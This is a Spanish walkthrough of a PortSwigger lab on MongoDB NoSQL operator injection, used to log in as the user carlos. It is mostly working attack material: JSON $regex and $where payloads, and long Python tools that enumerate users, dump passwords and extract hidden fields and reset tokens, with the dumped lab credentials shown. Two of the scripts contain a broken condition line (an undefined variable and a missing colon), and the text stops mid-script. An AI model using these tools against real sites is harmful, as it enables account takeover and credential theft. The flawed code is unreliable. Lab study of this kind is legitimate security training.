Exploiting NoSQL operator injection to extract unknown fields
Laboratorio de Portswigger sobre NoSQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
La funcionalidad de búsqueda de usuarios para este laboratorio está impulsada por MongoDB, una base de datos NoSQL, la cual es vulnerable a inyección NoSQL. Para resolver el laboratorio, debemos iniciar sesión como carlos
Guía de NoSQLI
Antes de completar este laboratorio es recomendable leerse esta guía de NoSQLI https://justice-reaper.github.io/posts/NoSQLI-Guide/
Resolución
Al acceder a la web vemos esto
Pulsamos sobre My account e intentamos loguearnos con unas credenciales aleatorias
Si capturamos la petición con Burpsuite, vemos que se está enviando un JSON con el nombre de usuario y la contraseña
Vamos a testear a ver si podemos enumerar usuarios mediante operadores de consulta, para ello vamos a mandar este payload al Intruder
1
2
3
4
{
"username":{"$regex":"^a"},
"password": {"$ne":null}
}
Marcamos la letra a, para fuzzear usuarios que empiecen por esa letra o caracter
Como payload, vamos a utilizar todos los caracteres imprimibles de la librería string de python
1
2
3
4
5
6
7
8
# python
Python 3.13.2 (main, Feb 5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
Vamos a ir iterando para eliminar los caracteres que se repiten y vamos a hacer que se muestren uno debajo de otro
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3
import string
characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
for character in characters:
if character == '\\':
character = '\\\\\\' + character
elif character == '"':
character = '\\' + character
elif character in '.^$*+?{}[]|()':
character = '\\\\' + character
print(character)
Ejecutamos el script, copiamos y pegamos todos los caracteres para usarlos como payload
Desactivamos el payload encoding
En el apartado de Settings > Grep and extract, vamos a marcar el texto que queremos extraer de la respuesta, por si se produce alguna respuesta inesperada
Pulsamos sobre Start attack y filtramos por la columna en la que pone Payload 1 y posteriormente por la que pone warning
Con la w vemos que nos ha iniciado sesión como wiener
Al buscar usuarios que empiecen por la c vemos que nos devuelve este mensaje
Para obtener los demás caracteres hay que añadirle los caracteres descubiertos al payload y ejecutar el ataque nuevamente hasta obtenerlos todos. Esto habría que hacerlo para los dos usuarios que hemos descubierto
Como alternativa a Burpsuite, podemos usar el script NoSQLI-User-Enumerator.py https://github.com/Justice-Reaper/NoSQLI-Attack-Suite/blob/main/NoSQLI-User-Enumerator.py, ya que es mucho más rápido y menos tedioso. Para que funcione vamos a tener que modificarlo, porque el script no contempla que cuando el servidor nos muestra Account locked: please reset your password hay un usuario válido. La parte negativa de esto es que si hubiera otro usuario que nos devolviese una respuesta diferente estas dos, el script no lo detectaría. Por lo tanto, siempre es mejor enumerar usuarios desde Burpsuite, porque es más preciso. Este es el script modificado:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string, argparse, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def def_handler(sig, frame):
print("\n\n[!] Exiting ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def initialize_session(proxy_url, verify_ssl):
session = requests.Session()
session.headers.update({
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
if proxy_url:
proxies = {
'http': proxy_url,
'https': proxy_url
}
session.proxies = proxies
session.verify = False
elif not verify_ssl:
session.verify = False
return session
def make_request(session, url, payload):
try:
response = session.post(
url,
json=payload,
timeout=300,
allow_redirects=False
)
return response
except requests.exceptions.RequestException as e:
log.error(f"Request error: {e}")
return None
def enumerate_usernames(session, url):
usernames = []
current_username = ""
characters = "".join(sorted(
set(character for character in string.printable if character.isprintable()),
key=string.printable.index
))
progress_bar = log.progress("Enumerating users")
progress_bar.status("Starting brute-force attack")
while True:
character_found = False
for character in characters:
if character in '.^$*+?{}[]\\|()':
character = '\\' + character
payload = {
'username': {
'$regex': f'^{current_username}{character}',
'$nin': usernames
},
'password': {'$ne': None}
}
progress_bar.status(payload)
response = make_request(session, url, payload)
if request.status_code == 302 or "Account locked: please reset your password" in request.text
current_username += character
character_found = True
break
if not character_found:
if current_username and current_username not in usernames:
usernames.append(current_username)
log.success(f"✓ User found: {current_username}")
current_username = ""
elif not current_username:
break
progress_bar.success("Completed")
return usernames
def save_results(usernames, output_file):
if usernames:
try:
with open(output_file, 'w') as f:
for username in usernames:
f.write(f"{username}\n")
log.info(f"Total users found: {len(usernames)}")
log.info(f"Users saved to {output_file}")
except IOError as e:
log.error(f"Error saving results: {e}")
else:
log.failure("No users found")
def main(url, proxy_url=None, verify_ssl=True, output_file="usernames.txt"):
session = initialize_session(proxy_url, verify_ssl)
usernames = enumerate_usernames(session, url)
save_results(usernames, output_file)
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='MongoDB Username Enumeration via NoSQL Injection',
add_help=False
)
parser.add_argument('-h', '--help', action='help',
help='Show this help message and exit')
parser.add_argument('-u', '--url', required=True, metavar='',
help='Target URL (e.g. https://example.com/login)')
parser.add_argument('-p', '--proxy', metavar='',
help='Proxy URL (e.g. http://127.0.0.1:8080)')
parser.add_argument('-k', '--insecure',
action='store_true',
help='Disable SSL certificate verification (for self-signed certificates/invalid certificates)')
parser.add_argument('-o', '--output', default='usernames.txt', metavar='',
help='Output file (default: usernames.txt)')
args = parser.parse_args()
main(url=args.url, proxy_url=args.proxy, verify_ssl=not args.insecure, output_file=args.output)
Ejecutamos el script y vemos que hay dos usuarios válidos, wiener y carlos. Como con wiener nos devolvía un código de estado 302 Found, podemos deducir que el usuario con la cuenta bloqueada es carlos
1
2
3
4
5
6
# python NoSQLI-User-Enumerator.py -u https://0a4f009e043f43198154d934005400cd.web-security-academy.net/login
[..\.....] Enumerating users: {'username': {'$regex': '^~', '$nin': ['carlos', 'wiener']}, 'password': {'$ne': ''}}
[+] ✓ User found: carlos
[+] ✓ User found: wiener
[*] Total users found: 2
[*] Users saved in usernames.txt
Si intentamos iniciar sesión con carlos pero usamos una contraseña incorrecta nos mostrará este mensaje
Sin embargo, si usamos este otro payload para evitar proporcionar la contraseña, tampoco nos deja iniciar sesión porque necesitamos resetear la contraseña
Podemos intentar dumpear la contraseña del usuario carlos para ver si nos deja iniciar sesión proporcionando el usuario y la contraseña. Para ello vamos a usar este payload:
1
2
3
4
{
"username":"carlos",
"password":{"$regex":"^a"}
}
Enviamos la petición al Intruder, seleccionamos el tipo de ataque Sniper y seleccionamos la letra a
Posteriormente, como payload vamos a usar el output de este script nuevamente. Ejecutamos el script, copiamos y pegamos todos los caracteres para usarlos como payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3
import string
characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
for character in characters:
if character == '\\':
character = '\\\\\\' + character
elif character == '"':
character = '\\' + character
elif character in '.^$*+?{}[]|()':
character = '\\\\' + character
print(character)
Posteriormente, desactivamos el URL encoding y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición
Pulsamos sobre Start attack y filtramos por la columna en la que pone warning y vemos que la primera letra de la contraseña es la l. Para obtener el resto de la contraseña, hay que añadir los caracteres descubiertos al payload y ejecutar el ataque nuevamente hasta obtenerlos todos
Para evitar esto, que es un poco tedioso hacerlo cada vez que lo necesitemos, vamos a utilizar el script NoSQLI-Password-Dumper.py https://github.com/Justice-Reaper/NoSQLI-Attack-Suite/blob/main/NoSQLI-Password-Dumper.py. Para que el script detecte las cuentas que están bloqueadas hay que modificar el script y añadirle que detecte el texto Account locked: please reset your password en la respuesta. Este es el script modificado:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, string, argparse, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def def_handler(sig, frame):
print("\n\n[!] Exiting ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def initialize_session(proxy_url, verify_ssl):
session = requests.Session()
session.headers.update({
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
if proxy_url:
proxies = {
'http': proxy_url,
'https': proxy_url
}
session.proxies = proxies
session.verify = False
elif not verify_ssl:
session.verify = False
return session
def make_request(session, url, payload):
try:
response = session.post(
url,
json=payload,
timeout=300,
allow_redirects=False
)
return response
except requests.exceptions.RequestException as e:
log.error(f"Request error: {e}")
return None
def save_credentials_and_passwords(credentials, credentials_file, password_file):
try:
with open(credentials_file, 'w') as f_creds:
for cred in credentials:
f_creds.write(f"{cred}\n")
with open(password_file, 'w') as f_pass:
for cred in credentials:
password = cred.split(':')[1]
f_pass.write(f"{password}\n")
log.info(f"Credentials saved to {credentials_file}")
log.info(f"Passwords saved to {password_file}")
except Exception as e:
log.error(f"Error saving credentials: {e}")
def load_users_from_file(user_file):
try:
with open(user_file, 'r') as f:
users = [line.strip() for line in f if line.strip()]
if not users:
log.failure("No users to process")
sys.exit(1)
log.info("Using provided users file")
log.info(f"Total users to process: {len(users)}")
return users
except FileNotFoundError:
log.error(f"File not found: {user_file}")
sys.exit(1)
except Exception as e:
log.error(f"Error reading file: {e}")
sys.exit(1)
def load_users_from_list(user_list):
users = [u.strip() for u in user_list.split(',') if u.strip()]
if not users:
log.error("The user list is empty")
sys.exit(1)
log.info("Using provided users list")
log.info(f"Total users to process: {len(users)}")
return users
def enumeratePasswords(url, session, users, credentials_file, password_file):
progress_bar = log.progress("Enumerating passwords")
credentials = []
characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
for user in users:
password = ""
while True:
character_found = False
for character in characters:
if character in '.^$*+?{}[]\\|()':
character = '\\' + character
payload = {
'username': user,
'password': {
'$regex': f'^{password}{character}'
}
}
progress_bar.status(f"{{'username': '{user}', 'password': {{'$regex': '^{password}{character}'}}}}")
response = make_request(session, url, payload)
if request.status_code == 302 or "Account locked: please reset your password" in request.text
password += character
character_found = True
break
if not character_found:
break
if password:
log.success(f"✓ Credentials found -> {user}:{password}")
credentials.append(f"{user}:{password}")
else:
log.warning(f"No password found for {user}")
if credentials:
log.info(f"Total passwords found: {len(credentials)}")
save_credentials_and_passwords(credentials, credentials_file, password_file)
else:
log.failure("No passwords found")
def main(url, proxy_url=None, verify_ssl=True, user_file=None, user_list=None, credentials_file="credentials.txt", password_file="passwords.txt"):
session = initialize_session(proxy_url, verify_ssl)
if user_file:
users = load_users_from_file(user_file)
elif user_list:
users = load_users_from_list(user_list)
enumeratePasswords(url, session, users, credentials_file, password_file)
if __name__ == '__main__':
class CustomFormatter(argparse.RawDescriptionHelpFormatter):
def __init__(self, prog):
super().__init__(prog, max_help_position=35, width=150)
parser = argparse.ArgumentParser(
description='Tool to extract passwords using NoSQL Injection in MongoDB',
formatter_class=CustomFormatter,
add_help=False)
parser.add_argument('-h', '--help',
action='help',
help='Show this help message and exit')
parser.add_argument('-u', '--url',
required=True,
metavar='',
help='Target URL of the login endpoint (e.g.: https://example.com/login)')
parser.add_argument('-p', '--proxy',
metavar='',
help='Proxy URL to intercept traffic (e.g.: http://127.0.0.1:8080)')
parser.add_argument('-k', '--insecure',
action='store_true',
help='Disable SSL certificate verification (for self-signed certificates/invalid certificates)')
users_input = parser.add_mutually_exclusive_group(required=True)
users_input.add_argument('-uf', '--user-file',
metavar='',
help='Text file containing users (one per line)')
users_input.add_argument('-ul', '--user-list',
metavar='',
help='Comma-separated list of users (e.g.: admin,root,test)')
parser.add_argument('-oc', '--output-credentials',
metavar='',
default='credentials.txt',
help='File to save credentials in user:pass format (default: credentials.txt)')
parser.add_argument('-op', '--output-passwords',
metavar='',
default='passwords.txt',
help='File to save only passwords (default: passwords.txt)')
args = parser.parse_args()
main(
url=args.url,
proxy_url=args.proxy,
verify_ssl=not args.insecure,
user_file=args.user_file,
user_list=args.user_list if args.user_list else None,
credentials_file=args.output_credentials,
password_file=args.output_passwords
)
Ejecutamos el script y obtenemos la contraseña del usuario wiener y del usuario carlos
1
2
3
4
5
6
7
8
9
# python NoSQLI-Password-Dumper.py -u https://0a4f009e043f43198154d934005400cd.web-security-academy.net/login -ul wiener,carlos
[*] Using provided users list
[*] Total users to process: 2
[-] Enumerating passwords: {'username': 'carlos', 'password': {'$regex': '^jk9eoavzceh718wu0bmx~'}}
[+] ✓ Credentials found -> wiener:ckemav26vv5s53kydpcd
[+] ✓ Credentials found -> carlos:lnanxox2veino4ce152i
[*] Total passwords found: 2
[*] Credentials saved in credentials.txt
[*] Passwords saved in passwords.txt
Intentamos iniciar sesión con las credenciales de wiener y lo logramos
Sin embargo, al intentar iniciar sesión con las credenciales de carlos se muestra el mismo mensaje
Para estos casos, lo que que podemos hacer es intentar utilizar un operador de consulta que nos permita ejecutar código JavaScript. Para comprobar si podemos hacerlo, vamos a enviar una petición al login de la web usando el operador $where y le asignamos 1 como valor, el 1 en JavaScript es un valor truthy, lo cual quiere decir que se interpreta como si fuera True. Vemos que la respuesta no devuelve ningún error
En esta petición le asignamos 0 como valor. El 0 en JavaScript es un valor falsy , lo cual quiere decir que se interpreta como si fuera False. Si observamos bien, vemos que a pesar de haber proporcionado las credenciales correctas obtenemos un error
Esto indica que la expresión de JavaScript dentro de la cláusula $where está siendo evaluada. Como hemos podido usar un operador de consulta que permite ejecutar JavaScript, es posible que podemos utilizar el método keys() para extraer el nombre de los campos del documento de JavaScript. En el contexto de bases de datos NoSQL como MongoDB, un documento es una unidad de datos almacenada, similar a un registro en bases de datos relacionales. Los documentos están estructurados en formato JSON, lo que significa que pueden contener varios campos y valores. Por ejemplo:
1
2
3
4
5
6
7
8
9
10
11
12
{
"_id": 1,
"username": "juan123",
"password": "mypassword123",
"email": "juan@example.com",
"first_name": "Juan",
"last_name": "Pérez",
"date_of_birth": "1994-06-15",
"status": "active",
"role": "user",
"last_login": "2025-03-01T10:30:00Z"
}
En JavaScript el primer campo es _id por defecto y se pueden listar los campos de un objeto de la siguiente forma:
Como podemos inyectar código JavaScript, vamos a crear una función que nos diga cuantos campos tiene este documento
1
2
3
4
5
{
"username":"carlos",
"password":{"$ne":null},
"$where": "function(){ if (Object.keys(this).length==0) return 1; else 0; }"
}
Enviamos la petición al Intruder, seleccionamos el tipo de ataque Sniper y seleccionamos el 0
Como payload vamos a usar uno de tipo numérico que vaya desde 0 hasta 50 por ejemplo, y si no encuentra nada tendremos que aumentar el límite superior
Lo siguiente es igual que antes, desactivamos el URL encoding y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición
Pulsamos sobre Start attack, filtramos por la columna en la que pone warning y vemos que el documento de MongoDB tiene 4 campos
Si pulsamos sobre Forgot password?, introducimos el nombre del usuario carlos y hacemos click en Submit veremos que se envía un email al correo electrónico de carlos
Al no tener acceso al email podemos creer que no vamos a poder resetear la contraseña. Sin embargo, puede ser que se haya creado un nuevo campo para el usuario carlos. Esto lo podemos verificar enviando la misma petición que enviamos anteriormente. Si nos fijamos bien, ahora nos dice que los campos no son 4
Si cambiamos el valor a 5, vemos que ahora nos devuelve el mensaje Account locked: please reset your password, esto se debe a que se ha creado un nuevo campo para el usuario carlos
1
2
3
4
5
{
"username":"carlos",
"password": {"$ne":null},
"$where": "function(){ if (Object.keys(this).length==5) return 1; else 0; }"
}
Una vez sabemos que el documento tiene 5 campos, vamos a averiguar el nombre de esos campos. Para ello, lo primero que vamos a hacer, es obtener la longitud de cada uno de los campos mediante este payload
1
2
3
4
5
{
"username": "carlos",
"password": {"$ne":null},
"$where": "function(){ if (Object.keys(this)[0].length==0) return 1; else return 0; }"
}
Enviamos la petición al Intruder, seleccionamos Cluster bomb como tipo de ataque y marcamos las posiciones donde vamos a inyectar los payloads
El primer payload va a ser de tipo numérico y va a ir desde 0 al 4. Esto lo hacemos así, porque el índice del documento empieza en 0 y no en 1
Como segundo payload vamos a poner que la máxima longitud sea de 50 y si no obtenemos respuesta, aumentamos este límite
Lo siguiente es igual que antes, desactivamos el URL encoding para ambos payloads y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición
Pulsamos sobre Start attack y filtramos por la columna que dice Payload 1 y posteriormente por la que dice warning. Vemos que el primer campo del documento tiene 3 caracteres, el segundo campo tiene 8 caracteres, el tercer campo tiene 8 caracteres, el cuarto campo tiene 5 caracteres y quinto campo tiene 13 caracteres
El siguiente paso es obtener el nombre de los campos mediante este payload
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": null
},
"$where": "function(){ if (Object.keys(this)[0].match('^.{0}a.*')) return 1; else return 0; }"
}
Enviamos la petición al Intruder, seleccionamos como tipo de ataque Cluster bomb y seleccionamos las posiciones a bruteforcear. En este caso solo voy a bruteforcear solo el quinto campo, porque es el nuevo
Como hemos visto que el quinto campo tiene 13 caracteres, vamos a seleccionar un primer payload de tipo numérico que va a ir desde 0 hasta 12
Como segundo payload vamos a utilizar el output de este script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
import string
characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
for character in characters:
if character == '\\':
character = '\\\\\\\\\\\\\\' + character
elif character == "'":
character = '\\\\' + character
elif character == '"':
character = '\\' + character
elif character in '.^$*+?{}[]|()':
character = '\\\\\\\\' + character
print(character)
Lo siguiente es igual que antes, desactivamos el urlencoding para ambos payloads y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición
Pulsamos sobre Start attack, filtramos por la columna en la que pone Payload 1 y posteriormente por la que pone warning. Vemos que quinto campo es passwordReset
El siguiente paso es obtener la longitud del valor de los campos, para lo cual, vamos a usar este payload
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": null
},
"$where": "function(){ if (this.passwordReset.valueOf().toString().length==0) return 1; else return 0; }"
}
Lo enviamos al Intruder, seleccionamos Sniper como tipo de ataque y seleccionamos la parte del payload a bruteforcear
Vamos a seleccionar un payload de tipo numérico que vaya desde el 0 hasta el 50 y si no obtenemos respuesta, aumentamos el límite superior
Lo siguiente es igual que antes, desactivamos el URL encoding y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición
Pulsamos sobre Start attack, filtramos por la columna donde dice warning y vemos que tiene 16 caracteres
El siguiente paso es obtener el valor del campo, y para ello vamos a usar este payload
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": null
},
"$where": "function(){ if (this.passwordReset.valueOf().toString().match('^.{0}a.*')) return 1; else return 0; }"
}
Enviamos el payload al Intruder, seleccionamos Cluster bomb como tipo de ataque y marcamos los dos campos a bruteforcear
Como hemos visto que el valor del campo passwordReset tiene 16 caracteres, vamos a seleccionar un primer payload de tipo numérico que vaya desde 0 hasta 15
Posteriormente, como segundo payload vamos a usar el output de este script nuevamente. Ejecutamos el script, copiamos y pegamos todos los caracteres para usarlos como payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
import string
characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
for character in characters:
if character == '\\':
character = '\\\\\\\\\\\\\\' + character
elif character == "'":
character = '\\\\' + character
elif character == '"':
character = '\\' + character
elif character in '.^$*+?{}[]|()':
character = '\\\\\\\\' + character
print(character)
Lo siguiente es igual que antes, desactivamos el URL encoding para ambos payloads y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición
Pulsamos sobre Start attack, filtramos por la columna en la que pone Payload 1, posteriormente por la que pone warning y obtenemos el valor del campo passwordReset
Una forma alternativa y mucho más sencilla es usar el script NoSQLI-Field-Dumper.py https://github.com/Justice-Reaper/NoSQLI-Attack-Suite/blob/main/NoSQLI-Field-Dumper-Post-Method.py, el cual hace todo este proceso por nosotros. Sin embargo, hay que modificarle el nombre de usuario y también que en vez de detectar se produce un 302 Found, detecte el mensaje Account locked: please reset your password en la respuesta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string, argparse, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def def_handler(sig, frame):
print("\n\n[!] Exiting ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def initialize_session(proxy_url, verify_ssl):
session = requests.Session()
session.headers.update({
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
if proxy_url:
proxies = {
'http': proxy_url,
'https': proxy_url
}
session.proxies = proxies
session.verify = False
elif not verify_ssl:
session.verify = False
return session
def make_request(session, url, payload):
try:
response = session.post(
url,
json=payload,
timeout=300,
allow_redirects=False
)
return "Account locked: please reset your password" in response.text
except requests.exceptions.RequestException as e:
log.error(f"Error during request: {e}")
return False
def escape_regex_character(character):
if character == '\\':
return '\\\\\\\\'
elif character in '.^$*+?{}[]|()':
return '\\\\' + character
return character
def get_number_of_fields(session, url):
progress_bar = log.progress("Enumerating number of fields")
progress_bar.status("Starting brute-force attack")
count = 0
while True:
payload = {
"username": "carlos",
"password": {
"$ne": None
},
"$where": f"function(){{ if (Object.keys(this).length=={count}) return 1; else return 0; }}"
}
progress_bar.status(payload["$where"])
if make_request(session, url, payload):
log.success(f"Fields found: {count}")
progress_bar.success("Completed")
return count
count += 1
def get_field_lengths(session, url, total_fields):
field_lengths_list = []
print()
progress_bar = log.progress("Enumerating field lengths")
for current_field_index in range(total_fields):
current_length = 0
while True:
payload = {
"username": "carlos",
"password": {
"$ne": None
},
"$where": f"function(){{ if (Object.keys(this)[{current_field_index}].length=={current_length}) return 1; else return 0; }}"
}
progress_bar.status(payload["$where"])
if make_request(session, url, payload):
field_lengths_list.append(current_length)
log.success(f"Field {current_field_index}: {current_length}")
break
current_length += 1
progress_bar.success("Completed")
return field_lengths_list
def get_field_names(session, url, field_lengths_list):
characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
field_names_list = []
print()
progress_bar = log.progress("Enumerating field names")
for current_field_index, current_field_length in enumerate(field_lengths_list):
if current_field_length is None or current_field_length == 0:
log.warning(f"Skipping field {current_field_index} (invalid length)")
field_names_list.append(None)
continue
progress_bar.status(f"Extracting field {current_field_index}/{len(field_lengths_list)-1} (length: {current_field_length})")
extracted_field_name = ""
field_progress_bar = log.progress(f"Field {current_field_index}")
for current_position in range(current_field_length):
character_found = None
for character in characters:
escaped_character = escape_regex_character(character)
payload = {
"username": "carlos",
"password": {
"$ne": None
},
"$where": f"function(){{ if (Object.keys(this)[{current_field_index}].match('^.{{{current_position}}}{escaped_character}.*')) return 1; else return 0; }}"
}
progress_bar.status(payload["$where"])
if make_request(session, url, payload):
extracted_field_name += character
character_found = character
field_progress_bar.status(extracted_field_name)
break
if character_found is None:
log.warning(f"Could not find character at position {current_position} for field {current_field_index}")
extracted_field_name += "?"
field_progress_bar.status(extracted_field_name)
field_names_list.append(extracted_field_name)
field_progress_bar.success(extracted_field_name)
progress_bar.success("Completed")
return field_names_list
def get_field_value_lengths(session, url, field_names_list, field_indexes):
field_value_lengths = {}
print()
progress_bar = log.progress("Enumerating field value lengths")
for current_field_index in field_indexes:
current_field_name = field_names_list[current_field_index]
if current_field_name is None:
log.warning(f"Skipping field (invalid name)")
field_value_lengths[current_field_name] = None
continue
current_value_length = 0
while True:
payload = {
"username": "carlos",
"password": {
"$ne": None
},
"$where": f"function(){{ if (this.{current_field_name}.valueOf().toString().length=={current_value_length}) return 1; else return 0; }}"
}
progress_bar.status(payload["$where"])
if make_request(session, url, payload):
field_value_lengths[current_field_name] = current_value_length
log.success(f"Field {current_field_index}: {current_value_length}")
break
current_value_length += 1
progress_bar.success("Completed")
return field_value_lengths
def get_field_value_names(session, url, field_names_list, field_value_lengths, field_indexes):
characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
field_values = {}
print()
progress_bar = log.progress("Enumerating field values")
for current_field_index in field_indexes:
current_field_name = field_names_list[current_field_index]
if current_field_name is None:
log.warning(f"Skipping field (invalid name)")
field_values[current_field_name] = None
continue
current_value_length = field_value_lengths.get(current_field_name)
if current_value_length is None or current_value_length == 0:
log.warning(f"Skipping field {current_field_index} (invalid value length)")
field_values[current_field_name] = None
continue
progress_bar.status(f"Extracting value for field {current_field_index} (length: {current_value_length})")
extracted_field_value = ""
field_progress_bar = log.progress(f"Field {current_field_index}")
for current_position in range(current_value_length):
character_found = None
for character in characters:
escaped_character = escape_regex_character(character)
payload = {
"username": "carlos",
"password": {
"$ne": None
},
"$where": f"function(){{ if (this.{current_field_name}.valueOf().toString().match('^.{{{current_position}}}{escaped_character}.*')) return 1; else return 0; }}"
}
progress_bar.status(payload["$where"])
if make_request(session, url, payload):
extracted_field_value += character
character_found = character
field_progress_bar.status(extracted_field_value)
break
if character_found is None:
log.warning(f"Could not find character at position {current_position} for field {current_field_index}")
extracted_field_value += "?"
field_progress_bar.status(extracted_field_value)
field_values[current_field_name] = extracted_field_value
field_progress_bar.success(extracted_field_value)
progress_bar.success("Completed")
return field_values
def prompt_field_selection(total_fields, field_names_list):
field_indexes = []
while not field_indexes:
print()
user_input = input(f"[?] Enter field indexes to dump (0-{total_fields-1}, comma-separated) or 'all' for all fields: ").strip()
if user_input.lower() == "all":
field_indexes = [index for index, name in enumerate(field_names_list) if name is not None]
break
else:
try:
indexes = [int(index.strip()) for index in user_input.split(',')]
valid_indexes = []
invalid_index_found = False
for index in indexes:
if 0 <= index < len(field_names_list) and field_names_list[index] is not None:
valid_indexes.append(index)
else:
log.warning(f"Invalid or unavailable field index: {index}")
invalid_index_found = True
if invalid_index_found:
log.warning("Please enter only valid field indexes.")
continue
if valid_indexes:
field_indexes = valid_indexes
else:
log.warning("No valid field indexes selected. Please try again.")
except ValueError:
log.warning("Invalid input. Please enter numbers separated by commas or 'all'.")
return field_indexes
def save_and_display_results(field_indexes, field_names_list, field_values, output_file):
print()
log.info("Fields and values")
results_found = False
try:
with open(output_file, 'w') as file_handler:
for field_index in field_indexes:
field_name = field_names_list[field_index]
field_value = field_values.get(field_name, None)
if field_name is not None and field_value is not None:
log.info(f"{field_name}:{field_value}")
file_handler.write(f"{field_name}:{field_value}\n")
results_found = True
else:
log.warning(f"Field {field_index}: Could not be determined")
file_handler.write(f"Field {field_index}: Could not be determined\n")
if not results_found:
